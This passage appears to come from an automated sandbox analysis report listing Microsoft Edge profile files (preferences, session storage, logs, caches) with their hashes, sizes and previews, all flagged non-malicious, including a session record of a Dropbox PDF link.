Entropy (8bit):	0.775225015009781
Encrypted:	false
SSDEEP:	12:LBtiuWkKcwF11DM/FAf4ADFrqsO7L0rqqE:LLiuW9LFPY/Wf4ADd5o0rqqE
MD5:	FBF45F003B5F94687095C2F03A691287
SHA1:	E2D5ECB22DD012F3AD7E0F80A7DD74ACD1C4C94B
SHA-256:	DD612A841B8AB5A46D0FD4A4A9919AD3CC1F273496EB521CB7FE40C0B513BE25
SHA-512:	0562BAC77264FE5E14BA036A625BA2C52FA6720BAB147AE72CFEDDE79907DF0E50EAC0A8782522FF1769808FC736F58C2822946A4C57088A1BABE7817BD3800B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9412
Entropy (8bit):	5.105812035808021
Encrypted:	false
SSDEEP:	192:stWSWsA0SyaNP9kNG3P88bV+FOQQA4I+P8iYJ:stWBsA0StJ5bGvQ0l
MD5:	ED8792C6EFBDC1E014F16DA1C7E30161
SHA1:	F62838828B226D4D34F60DA719356A29D7CCA3A9
SHA-256:	25F1B8BC17C0380CC14D1BA4E6C6037A12291A8C2ED872CB7CFCBCCEEB7291F6
SHA-512:	AD4F3240537C813869975A72975F4E6C2BFB243BCC16394842D94C12CE34B08EFBCDCC6E24B2BD0FCBF7BFCC98F17F695429456D0F324619873123244BC51615
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379085869832800","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dip

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF28dbf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9412
Entropy (8bit):	5.105812035808021
Encrypted:	false
SSDEEP:	192:stWSWsA0SyaNP9kNG3P88bV+FOQQA4I+P8iYJ:stWBsA0StJ5bGvQ0l
MD5:	ED8792C6EFBDC1E014F16DA1C7E30161
SHA1:	F62838828B226D4D34F60DA719356A29D7CCA3A9
SHA-256:	25F1B8BC17C0380CC14D1BA4E6C6037A12291A8C2ED872CB7CFCBCCEEB7291F6
SHA-512:	AD4F3240537C813869975A72975F4E6C2BFB243BCC16394842D94C12CE34B08EFBCDCC6E24B2BD0FCBF7BFCC98F17F695429456D0F324619873123244BC51615
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379085869832800","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dip

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2d288.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9412
Entropy (8bit):	5.105812035808021
Encrypted:	false
SSDEEP:	192:stWSWsA0SyaNP9kNG3P88bV+FOQQA4I+P8iYJ:stWBsA0StJ5bGvQ0l
MD5:	ED8792C6EFBDC1E014F16DA1C7E30161
SHA1:	F62838828B226D4D34F60DA719356A29D7CCA3A9
SHA-256:	25F1B8BC17C0380CC14D1BA4E6C6037A12291A8C2ED872CB7CFCBCCEEB7291F6
SHA-512:	AD4F3240537C813869975A72975F4E6C2BFB243BCC16394842D94C12CE34B08EFBCDCC6E24B2BD0FCBF7BFCC98F17F695429456D0F324619873123244BC51615
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379085869832800","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dip

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2fcf4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9412
Entropy (8bit):	5.105812035808021
Encrypted:	false
SSDEEP:	192:stWSWsA0SyaNP9kNG3P88bV+FOQQA4I+P8iYJ:stWBsA0StJ5bGvQ0l
MD5:	ED8792C6EFBDC1E014F16DA1C7E30161
SHA1:	F62838828B226D4D34F60DA719356A29D7CCA3A9
SHA-256:	25F1B8BC17C0380CC14D1BA4E6C6037A12291A8C2ED872CB7CFCBCCEEB7291F6
SHA-512:	AD4F3240537C813869975A72975F4E6C2BFB243BCC16394842D94C12CE34B08EFBCDCC6E24B2BD0FCBF7BFCC98F17F695429456D0F324619873123244BC51615
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379085869832800","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dip

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF347b8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9412
Entropy (8bit):	5.105812035808021
Encrypted:	false
SSDEEP:	192:stWSWsA0SyaNP9kNG3P88bV+FOQQA4I+P8iYJ:stWBsA0StJ5bGvQ0l
MD5:	ED8792C6EFBDC1E014F16DA1C7E30161
SHA1:	F62838828B226D4D34F60DA719356A29D7CCA3A9
SHA-256:	25F1B8BC17C0380CC14D1BA4E6C6037A12291A8C2ED872CB7CFCBCCEEB7291F6
SHA-512:	AD4F3240537C813869975A72975F4E6C2BFB243BCC16394842D94C12CE34B08EFBCDCC6E24B2BD0FCBF7BFCC98F17F695429456D0F324619873123244BC51615
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379085869832800","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dip

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28316
Entropy (8bit):	5.558384059042049
Encrypted:	false
SSDEEP:	768:LsuuVA7pLGLhAlWPk6fTy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVxMuQXrwcLp7tuf:LsuuVMchAlWPk6fTyu1jaY1QEcJt8
MD5:	978A51DB5E37E4EE5E046BEBA3F5FB64
SHA1:	B64A45C0BAA1F55F6F9C3D1D57FA070770AF8707
SHA-256:	4201047EFB2ED65ACE83BA65A58318440291AF2A26A027B2187DBE0E748B5484
SHA-512:	C0743F6D0A556CC29B5CA668C7767261834B6F1EEAC12787CA9CE125CA279514F7E2BF5ECCA3CA2215C6F6E863BAD68F138E56DE53137AECEA24786BAD46F2F1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379085869194605","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379085869194605","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF28449.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28316
Entropy (8bit):	5.558384059042049
Encrypted:	false
SSDEEP:	768:LsuuVA7pLGLhAlWPk6fTy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVxMuQXrwcLp7tuf:LsuuVMchAlWPk6fTyu1jaY1QEcJt8
MD5:	978A51DB5E37E4EE5E046BEBA3F5FB64
SHA1:	B64A45C0BAA1F55F6F9C3D1D57FA070770AF8707
SHA-256:	4201047EFB2ED65ACE83BA65A58318440291AF2A26A027B2187DBE0E748B5484
SHA-512:	C0743F6D0A556CC29B5CA668C7767261834B6F1EEAC12787CA9CE125CA279514F7E2BF5ECCA3CA2215C6F6E863BAD68F138E56DE53137AECEA24786BAD46F2F1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379085869194605","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379085869194605","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2df5a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28316
Entropy (8bit):	5.558384059042049
Encrypted:	false
SSDEEP:	768:LsuuVA7pLGLhAlWPk6fTy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVxMuQXrwcLp7tuf:LsuuVMchAlWPk6fTyu1jaY1QEcJt8
MD5:	978A51DB5E37E4EE5E046BEBA3F5FB64
SHA1:	B64A45C0BAA1F55F6F9C3D1D57FA070770AF8707
SHA-256:	4201047EFB2ED65ACE83BA65A58318440291AF2A26A027B2187DBE0E748B5484
SHA-512:	C0743F6D0A556CC29B5CA668C7767261834B6F1EEAC12787CA9CE125CA279514F7E2BF5ECCA3CA2215C6F6E863BAD68F138E56DE53137AECEA24786BAD46F2F1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379085869194605","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379085869194605","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	815
Entropy (8bit):	4.575572555831991
Encrypted:	false
SSDEEP:	24:Ra0ZZZZ4o0kPd4+I8LfA5L9AKYOaOSQhTYXN:tZZZZ4uPasLo55XFSh
MD5:	B25A1E20857291063784B8F5ADC1BEC9
SHA1:	B06A5D3FD6EF55894FED3D3399254818F3ECAAA1
SHA-256:	C01E692B031550532848E75BA62D967C1C6845A966C2A944929BCA3AB0B348C4
SHA-512:	E3215E32734BACC9E5806B5352A054D8AEB804C354D5A40C7D925664D59CC0EA8878BC5386B4B05564868ED994DD92482BCC5DD94CE7A7FFF105BE5B635A785A
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f..................f................next-map-id.1.Gnamespace-05c4d266_66d9_4a0f_891c_40adf79d663d-https://www.dropbox.com/.0V.e................V.e................V.e................V.e................\|&.(0................map-0-__storage_test__..map-0-udcl.\..................map-0-uxa.last_active_time.1.7.3.4.6.1.2.3.0.6.9.2.0...map-0-uxa.previous_url..".h.t.t.p.s.:././.w.w.w...d.r.o.p.b.o.x...c.o.m./.s.c.l./.f.i./.d.g.i.u.r.6.4.v.a.w.m.d.x.9.a.l.q.w.6.e.t./.L.e.w.i.s.-.S.i.l.k.i.n.-.L.L.P...p.d.f.?.r.l.k.e.y.=.k.d.u.h.q.r.n.p.0.0.r.j.4.4.r.j.e.p.p.u.w.3.1.q.k.&.d.l.=.1."...map-0-uxa.visit_id$".2.6.8.8.5.9.0.5.8.7.5.5.2.1.8.2."...map-0-udcl.+map-0-uxa.onedoesnotsimplyusesessionstorage

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.136953041076059
Encrypted:	false
SSDEEP:	6:7o68vFwVq2PcNwi23oH+TcwtrQMxIFUt8Oo6+gZmw+Oo64r+IkwOcNwi23oH+TcM:7cdwVvLZYebCFUt8Oeg/+OYKI54ZYebf
MD5:	DFFB07FCD212574284C4F61AD1E11A78
SHA1:	B5850CE61D0B0555FF13E0CA40302B83ABC4C21A
SHA-256:	81912DCFD149FD25622939B885DB540779668AA1140073C5D94F94E1CF4489B0
SHA-512:	B081B58AD4587B09AA5F68BA1984299C1517FA952911E9716A51681F7BBF0DB4C1D91A9C9AAC3C6618CFEDD378A26FF3C672AC6252BF95241542CCBE04920773
Malicious:	false
Preview:	2024/12/19-07:44:30.153 440 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/19-07:44:30.154 440 Recovering log #3.2024/12/19-07:44:30.157 440 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.136953041076059
Encrypted:	false
SSDEEP:	6:7o68vFwVq2PcNwi23oH+TcwtrQMxIFUt8Oo6+gZmw+Oo64r+IkwOcNwi23oH+TcM:7cdwVvLZYebCFUt8Oeg/+OYKI54ZYebf
MD5:	DFFB07FCD212574284C4F61AD1E11A78
SHA1:	B5850CE61D0B0555FF13E0CA40302B83ABC4C21A
SHA-256:	81912DCFD149FD25622939B885DB540779668AA1140073C5D94F94E1CF4489B0
SHA-512:	B081B58AD4587B09AA5F68BA1984299C1517FA952911E9716A51681F7BBF0DB4C1D91A9C9AAC3C6618CFEDD378A26FF3C672AC6252BF95241542CCBE04920773
Malicious:	false
Preview:	2024/12/19-07:44:30.153 440 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/19-07:44:30.154 440 Recovering log #3.2024/12/19-07:44:30.157 440 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13379085871713818

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7043
Entropy (8bit):	3.678813935687791
Encrypted:	false
SSDEEP:	96:3aQzXF3BCPXynj/Yttdinj/Yttdg4L7cawpUXFviYncVXFvjXFdKYn:3dXCKnkt4nkt9L7cvmncrDn
MD5:	A74C641488B8D1266F2B1F09D962C6DE
SHA1:	07CA521A2D39255F9959AAB513DE804D60541A53
SHA-256:	9B8082DDFA613A15AF7D99821E5DC27BF548108EE0178B45F9149BE39E18A4CA
SHA-512:	3432F703E1F8BDC9EC0588EB8E3C2A812CE378A81AF6A7BB9F5D28F32D477E7C142EAB742D97AB02A9615E028F934CFD37041A5A83A77CEFCEACB936619AFB27
Malicious:	false
Preview:	SNSS.........ck.............ck......"..ck.............ck.........ck.........ck.........ck....!....ck.................................ck..ck1..,.....ck$...05c4d266_66d9_4a0f_891c_40adf79d663d.....ck.........ck....Q............ck.....ck....................5..0.....ck&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}.......ck............ck....a..\.....ck....n...https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1..............!...............................................................p...............x...............p.........`.)....`.)......................................................................................n...h.t.t.p.s.:././.w.w.w...d.r.o.p.b.o.x...c.o.m./.s.c.l./.f.i./.d.g.i.u.r.6.4.v.a.w.m.d.x.9.a.l.q.w.6.e.t./.L.e.w.i.s.-.S.i.l.k.i.n.-.L.L.P...p.d.f.?.r.l.k.e.y.=.k.d.u.h.q.r.n.p.0.0.r.j.4.4.r.j.e.p.p.u.w.3.1.q.k.&.d.l.=.1.....................................8.......0.......8..........................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.162063839510921
Encrypted:	false
SSDEEP:	6:7oPAzRlWM+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8OoPAzRz1Zmw+OoPAzRlWMVkwOe:7LRlL+vLZYebIhHh2FUt8OLRZ/+OLRlt
MD5:	A742FE529700AE895A6209215E6A1A51
SHA1:	4900B7AA0E04E21A4C40B4FA633C244E890A938F
SHA-256:	D16DEC5C1BF2E34F7647D7379EC0DA92AE23F9DE14793B62C8B93D5114B7C8BE
SHA-512:	DC8FD2BC8A8A4AF44E4746B7589C8F5E597A4563CFBB12FBB9C9112269B9636B423502C384B8DDB69B0DD7B2389BA92CBED104763C11C2C673E4279D0E831401
Malicious:	false
Preview:	2024/12/19-07:44:29.247 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/19-07:44:29.247 161c Recovering log #3.2024/12/19-07:44:29.247 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.162063839510921
Encrypted:	false
SSDEEP:	6:7oPAzRlWM+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8OoPAzRz1Zmw+OoPAzRlWMVkwOe:7LRlL+vLZYebIhHh2FUt8OLRZ/+OLRlt
MD5:	A742FE529700AE895A6209215E6A1A51
SHA1:	4900B7AA0E04E21A4C40B4FA633C244E890A938F
SHA-256:	D16DEC5C1BF2E34F7647D7379EC0DA92AE23F9DE14793B62C8B93D5114B7C8BE
SHA-512:	DC8FD2BC8A8A4AF44E4746B7589C8F5E597A4563CFBB12FBB9C9112269B9636B423502C384B8DDB69B0DD7B2389BA92CBED104763C11C2C673E4279D0E831401
Malicious:	false
Preview:	2024/12/19-07:44:29.247 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/19-07:44:29.247 161c Recovering log #3.2024/12/19-07:44:29.247 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018164538716206493
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlPN:/M/xT02za
MD5:	1ADAE42BF0C77BC9346CCA693C2751C1
SHA1:	F021DEAE7B4A0ECC0FD2F375F2360C434D2C1538
SHA-256:	966792FD845F7800FFA24BC6F4211CD545A79682D475F13EE59375FDE2FED070
SHA-512:	8C5F99F3C28BF415660B1D4443DAE8E609B4D26F0D3358668F0F0BDB4E074CF7411E5AF1BCE5C11CD7D7895263D44B1DB832097A075C7461BC487E05D706605A
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.243713636125279
Encrypted:	false
SSDEEP:	12:7Pw+L+vLZYebvqBQFUt8OQW/+O2LV54ZYebvqBvJ:7PwTlYebvZg8OQWMoYebvk
MD5:	CF2F42BD8A56F6364F4D8B8D2461A030
SHA1:	DE59202397BB51302E09E18769F7BA3A1DBC2739
SHA-256:	94C1CED2EABE9341D4D48595CEC039AD7FF515FC09C603067B17BA21577DF0CE
SHA-512:	6AA872A48225C465162DA7722B63A52604FECA328AC83A65973F3654585C57143253A84A1662AF19AD7D264060A49D21E1E92673A1D9F1A57CA7C5B3162298F7
Malicious:	false
Preview:	2024/12/19-07:44:30.142 1b5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/19-07:44:30.146 1b5c Recovering log #3.2024/12/19-07:44:30.152 1b5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.243713636125279
Encrypted:	false
SSDEEP:	12:7Pw+L+vLZYebvqBQFUt8OQW/+O2LV54ZYebvqBvJ:7PwTlYebvZg8OQWMoYebvk
MD5:	CF2F42BD8A56F6364F4D8B8D2461A030
SHA1:	DE59202397BB51302E09E18769F7BA3A1DBC2739
SHA-256:	94C1CED2EABE9341D4D48595CEC039AD7FF515FC09C603067B17BA21577DF0CE
